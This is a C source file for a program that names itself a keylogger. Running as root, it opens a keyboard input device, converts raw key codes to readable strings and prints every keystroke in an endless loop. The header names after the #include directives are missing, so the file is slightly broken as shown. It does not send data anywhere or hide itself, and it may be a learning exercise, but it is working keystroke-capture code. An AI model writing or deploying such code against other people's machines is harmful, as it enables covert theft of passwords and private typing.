#include #include #include #include #include #include #include #include "keylogger.h" #include "mappings.h" int main(int argc, char *argv[]) { // Convert key codes to string values // ex: mappings[code] = "value" char * mappings[1024]; int i; for (i=0; i<1024; i++) mappings[i] = "invalid"; generate_mappings(mappings); // Check for errors if (input_has_errors(argc, argv)) { return -1; } if (!user_is_root()) { return -1; } // Start keyboard device as read only int fd; fd = open(argv[1], O_RDONLY); // Initialize input event struct input_event ev; // Scan for key strokes and print them while (1){ int key_code = get_key_press(fd, ev); // get key code if (key_code < 1024) printf("%s\n",mappings[key_code]); // print value of key code } return 0; }